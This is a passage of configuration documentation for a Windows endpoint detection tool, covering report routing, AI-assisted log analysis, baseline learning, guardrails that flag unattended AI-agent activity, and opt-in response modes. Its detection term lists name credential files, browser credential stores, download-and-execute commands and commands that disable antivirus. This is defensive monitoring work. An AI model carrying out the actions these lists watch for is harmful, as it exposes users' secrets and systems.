alert routing. `ExternalAlertSinks` sends the daily report through the configured external alert sinks. `LocalArchive` writes the configured archive formats. `Webhook` posts the redacted JSON report payload to `DailyReportWebhookUrl`. Use `DailyReportDestinations=LocalArchive` for archive-only reporting while keeping real-time alerts enabled, or `DailyReportDestinations=LocalArchive,Webhook` for archive plus report-specific webhook delivery. Daily reports delivered through `ExternalAlertSinks` bypass shared and provider-specific hourly alert caps, but still require a configured external sink. Supported destination names are `ExternalAlertSinks`, `LocalArchive`, and `Webhook`. Archived reports are written under `LogDirectory` when `DailyReportArchiveDirectory` is relative. The Markdown archive mirrors the delivered report body; the JSON archive stores redacted report metadata, metrics, bucket summaries, high-signal summaries, and AI review metadata without raw alert bodies, entities, command lines, paths, users, IPs, URLs, emails, or secrets. Example report webhook destination: DailyReportDestinations=LocalArchive,Webhook DailyReportWebhookUrl=https://example.com/arcane-daily-report DailyReportWebhookSecretEnvironmentVariable=ARCANE_REPORT_WEBHOOK_TOKEN DailyReportWebhookSecretHeaderName=Authorization DailyReportWebhookSecretPrefix=Bearer Use `--preview-daily-report` while tuning `DailyReportSections` and row limits. The preview command does not send external notifications and does not call the AI provider; add `--archive` only when you want the preview written to the configured archive directory. Future reporting work should keep moving these sections toward a configurable reporting engine with additional destinations, schedules, and audience-specific detail levels. ## AI Log Analysis Arcane EDR can send a compact log sample to one or more AI analysis providers for secondary analysis. `v0.4` supports concurrent provider fan-out for OpenAI, OpenAI-compatible Responses-style endpoints, and native Anthropic Claude Messages API endpoints. Each provider receives the same compact, redacted payload and returns the same Arcane result contract. EnableAIAnalysis=true AIAnalysisIntervalMinutes=60 AIAnalysisScoreThreshold=95 AIAnalysisBaselineEmailMinimumScore=95 AIAnalysisMinimumIncludedAlertScore=60 AIAnalysisBaselineMinimumIncludedAlertScore=95 AIAnalysisExcludedRuleIds=AI-LOG-ANALYSIS-ALERT,AI-LOG-ANALYSIS-TEST,SERVICE-STARTED,SERVICE-STOPPED,SERVICE-DAILY-SUMMARY,SERVICE-HEALTH-TEST,TEST-ALERT-DELIVERY AIAnalysisMaxLogLines=80 AIAnalysisMaxAlertLines=80 AIAnalysisMaxChars=12000 AIAnalysisTimeoutSeconds=30 EnableDailySummaryAIAnalysis=true Single-provider configuration: AIAnalysisProviders=OpenAI AIAnalysisModel= AIAnalysisApiKeyEnvironmentVariable=OpenAIAPIKey_ArcaneEDR AIAnalysisApiUrl=https://api.openai.com/v1/responses Provider defaults fill common auth headers: OpenAI uses `Authorization` with a `Bearer ` prefix and defaults to `OpenAIAPIKey_ArcaneEDR`, and Claude uses `x-api-key` plus `anthropic-version`. Multi-provider configuration: AIAnalysisProviders=OpenAI,Claude AIAnalysisProviderTypes=OpenAI=OpenAI,Claude=Anthropic AIAnalysisProviderModels=OpenAI=,Claude= AIAnalysisProviderApiKeyEnvironmentVariables=OpenAI=OpenAIAPIKey_ArcaneEDR,Claude=ANTHROPIC_API_KEY AIAnalysisProviderApiUrls=OpenAI=https://api.openai.com/v1/responses,Claude=https://api.anthropic.com/v1/messages AIAnalysisProviderAuthHeaderNames=OpenAI=Authorization,Claude=x-api-key AIAnalysisProviderAuthHeaderPrefixes=OpenAI=Bearer,Claude= AIAnalysisProviderVersionHeaderNames=Claude=anthropic-version AIAnalysisProviderVersionHeaderValues=Claude=2023-06-01 When multiple providers are enabled, Arcane runs them concurrently. A failed provider is recorded in the provider breakdown without blocking a successful provider. The aggregate AI review uses the strongest alertable provider result, or the highest-scored completed result when no provider flags the sample, and keeps each provider's score, flag, and read visible in the daily report. Use the provider-specific maps for multi-provider setups; `--validate-config` warns about unused map entries and single-provider fields that are ignored when more than one `AIAnalysisProviders` entry is configured. Set `AIAnalysisAuthHeaderName=` only for a trusted no-auth local endpoint. The payload is intentionally compact and redacted. It includes health counters, recent event summaries, alert metadata, and sanitized aggregate context. The aggregate context includes score buckets, category/rule counts, repeated-rule indicators, maintenance/agent-context counts, trend counters, and top sanitized reasons for score-60+ activity. Network alert summaries include bounded remote enrichment context such as process name, remote port, owner/ASN org, country, country lookup status, registrable/resolved domain labels, and remote policy id after redaction; raw IPs, URLs, paths, and command lines remain omitted. Detailed alert summaries still honor `AIAnalysisMinimumIncludedAlertScore` or `AIAnalysisBaselineMinimumIncludedAlertScore`. Arcane EDR does not send alert bodies, entities, command lines, script blocks, decoded payload previews, usernames, file paths, IPs, URLs, emails, or configured secret values. Results are written to: \ArcaneAIAnalysis.jsonl Hourly compact analysis records use `analysis_type=compact_log`; daily report analysis records use `analysis_type=daily_report`. If the configured AI provider returns `alertable=true` with a score at or above `AIAnalysisScoreThreshold`, Arcane EDR sends the model's summary and recommended action through the configured external alert sinks. ## Baseline Learning The default deployment learns process/destination and process/domain pairs for the first 24 hours: BaselineEnabled=true BaselineLearningMode=true BaselineLearningEmailMinimumScore=90 BaselineWarmupHours=24 After the baseline looks comfortable, set `BaselineLearningMode=false` to alert on new process/domain and process/destination pairs. During baseline learning, lower-confidence alerts are still logged locally but not emailed unless they meet `BaselineLearningEmailMinimumScore`. ## Agent Profile Arcane EDR can label existing alerts that involve known unattended agent processes. This helps separate ordinary workstation activity from activity that was agent-launched or agent-adjacent. Example: EnableAgentProfile=true AgentProcessNames=Codex.exe,codex.exe AgentChildProcessNames=powershell.exe,pwsh.exe,cmd.exe,git.exe,git-remote-https.exe,node.exe,npm.exe,npm.cmd,python.exe,pip.exe,curl.exe AgentWorkspaceRoots= AgentPublishRoots= AgentPackageManagerProcesses=git.exe,git-remote-https.exe,node.exe,npm.exe,npm.cmd,python.exe,pip.exe,curl.exe AgentApprovedAdminTaskNames=\ArcaneEDR\PublishRestart,\ArcaneEDR\InstallService,\ArcaneEDR\ValidateAdmin AgentSecretIndicatorTerms=apikey,api_key,access_token,refresh_token,client_secret,private_key,id_rsa,.pem,.pfx,.env EnableAgentAdminCommandGuardrails=true AgentAdminCommandMinimumScore=84 AgentAdminCommandTerms=-verb runas,runas.exe,schtasks,start-scheduledtask,register-scheduledtask,new-scheduledtask,run-admin-task.cmd,run-admin-task.ps1,admin-task-runner.ps1,new-service,sc.exe create,sc create,set-service,netsh advfirewall,new-netfirewallrule,set-netfirewallrule,remove-netfirewallrule,icacls,takeown,set-acl,reg add,\currentversion\run,set-mppreference,add-mppreference,disableantispyware,disablerealtimemonitoring EnableAgentSecretReferenceGuardrails=true AgentSecretReferenceMinimumScore=78 AgentSecretReferenceTerms=apikey,api_key,access_token,refresh_token,client_secret,private_key,id_rsa,id_ed25519,.pem,.pfx,.env,credentials,token.json,aws_access_key_id,azure_client_secret,gcloud,\appdata\local\google\chrome\user data,\appdata\local\microsoft\edge\user data,\mozilla\firefox\profiles EnableAgentSupplyChainGuardrails=true AgentSupplyChainMinimumScore=74 AgentSupplyChainTerms=npm install,npm ci,npm exec,npx,pnpm install,yarn install,pip install,pip3 install,python -m pip install,curl,curl.exe,invoke-webrequest,wget,downloadstring,downloadfile,git clone,invoke-restmethod,invoke-expression,install.ps1,install.sh,postinstall EnableAgentActivityLedger=true AgentActivityLedgerFile=ArcaneAgentActivity.jsonl AgentActivityLedgerMinimumScore=60 When an alert matches the profile, Arcane appends an `AgentContext` line, an `agent_context=` entity field, and an additional `why` explanation. This does not raise the score, bypass cooldowns, trigger response actions, or send email by itself. It is correlation context for the local log, external alert sinks, and later review. When `EnableAgentActivityLedger=true`, Arcane also writes compact records for agent-involved alerts at or above `AgentActivityLedgerMinimumScore`. The ledger stores rule, score, process family, agent reason labels, command category, endpoint category, and file category; it does not store raw command lines, paths, IPs, users, URLs, or alert bodies. When `EnableAgentAdminCommandGuardrails=true`, Arcane raises `AGENT-ADMIN-COMMAND` when PowerShell, Windows process-creation audit, or Sysmon process telemetry shows an agent-initiated elevation, service, scheduled-task, firewall, ACL, registry, persistence, or security-control command that is not one of the configured `AgentApprovedAdminTaskNames`. This is alert-only evidence; it does not change `ResponseMode` or perform containment. When `EnableAgentSecretReferenceGuardrails=true`, Arcane raises `AGENT-SECRET-REFERENCE` for agent-initiated commands or script blocks that reference configured token, key, certificate, SSH material, cloud credential, or browser credential-store indicators. When `EnableAgentSupplyChainGuardrails=true`, Arcane raises `AGENT-SUPPLY-CHAIN-COMMAND` for agent-initiated package installs, source clones, downloads, install scripts, or expression-execution indicators. These rules are review prompts for unattended agent work, not automatic containment triggers. ## Custom Rules Custom rules are compact JSON objects with `source`, `score`, `contains_any`, optional `process_names`, and a recommendation. They are loaded from `config\custom-rules.json` and hot-reloaded when the file changes. ## Response Mode The default is alert-only: ResponseMode=AlertOnly ResponseMinimumScore=95 EnableFirewallBlockResponse=false EnableProcessTerminationResponse=false EnableResponsePolicy=true EnableResponseLedger=true ResponseLedgerFile=ArcaneResponseLedger.jsonl EnableResponseFollowUpDetections=true ResponseProcessRespawnWindowMinutes=10 ResponseProcessRespawnMinimumScore=94 ResponseFollowUpExternalAlertMinimumScore=95 Dry-run modes are `DryRunBlockRemoteIp`, `DryRunTerminateProcess`, and `DryRunBlockAndTerminate`. They evaluate candidate response targets, write compact local records to `ResponseLedgerFile`, and log what would have happened, but they do not add firewall rules or kill processes. If response policy would block the same alert in an active mode, the dry-run ledger records that policy skip reason. Active modes are `BlockRemoteIp`, `TerminateProcess`, and `BlockAndTerminate`. These are intentionally opt-in because false positives can disrupt legitimate tools. Keep `ResponseMinimumScore` high when testing active response. Firewall blocking requires `EnableFirewallBlockResponse=true`, and process termination requires `EnableProcessTerminationResponse=true` because it cannot be rolled back. Read `docs\response-safety-and-rollback.md` before enabling active response. When `EnableResponsePolicy=true`, active response also requires an explicit allow entry in `response_policy.allowed_rule_ids` or `response_policy.allowed_categories` inside `PolicyFile`. The example policy leaves both allowlists empty, so active modes skip every action even if an action gate is enabled. Dry-run modes remain useful for discovering candidate rules before adding a narrow allow entry. Firewall block response rules are named `ArcaneEDR_BLOCK_`, where `response-id` is a GUID recorded in `ResponseLedgerFile` with the triggering alert rule, score, target, and firewall rule name. List or remove Arcane-owned firewall blocks with: .\bin\ArcaneEDR.exe --response-firewall list .\bin\ArcaneEDR.exe --response-firewall remove .\bin\ArcaneEDR.exe --response-firewall remove-all If process termination is enabled and a same-named process relaunches within `ResponseProcessRespawnWindowMinutes`, Arcane raises `RESPONSE-PROCESS-RESPAWN` as escalatory local evidence. By default, `ResponseFollowUpExternalAlertMinimumScore=95` keeps these follow-up alerts from sending external notifications unless the score or local policy warrants it. ## Hardening Notes - Run the service as a dedicated low-privilege user. - Grant that user read access to the app config and write access only to `LogDirectory`. - Keep Brevo, AI provider, SMTP, and webhook secrets out of config and expose them only through environment variables for the service account. - Keep allowlists narrow. Start in console mode, observe normal traffic, then tune config.
标签:AI合规, EDR, IP 地址批量处理, PE 加载器, WinUI 3, 多包管理, 端点检测与响应, 脆弱性评估, 脱壳工具, 行为监控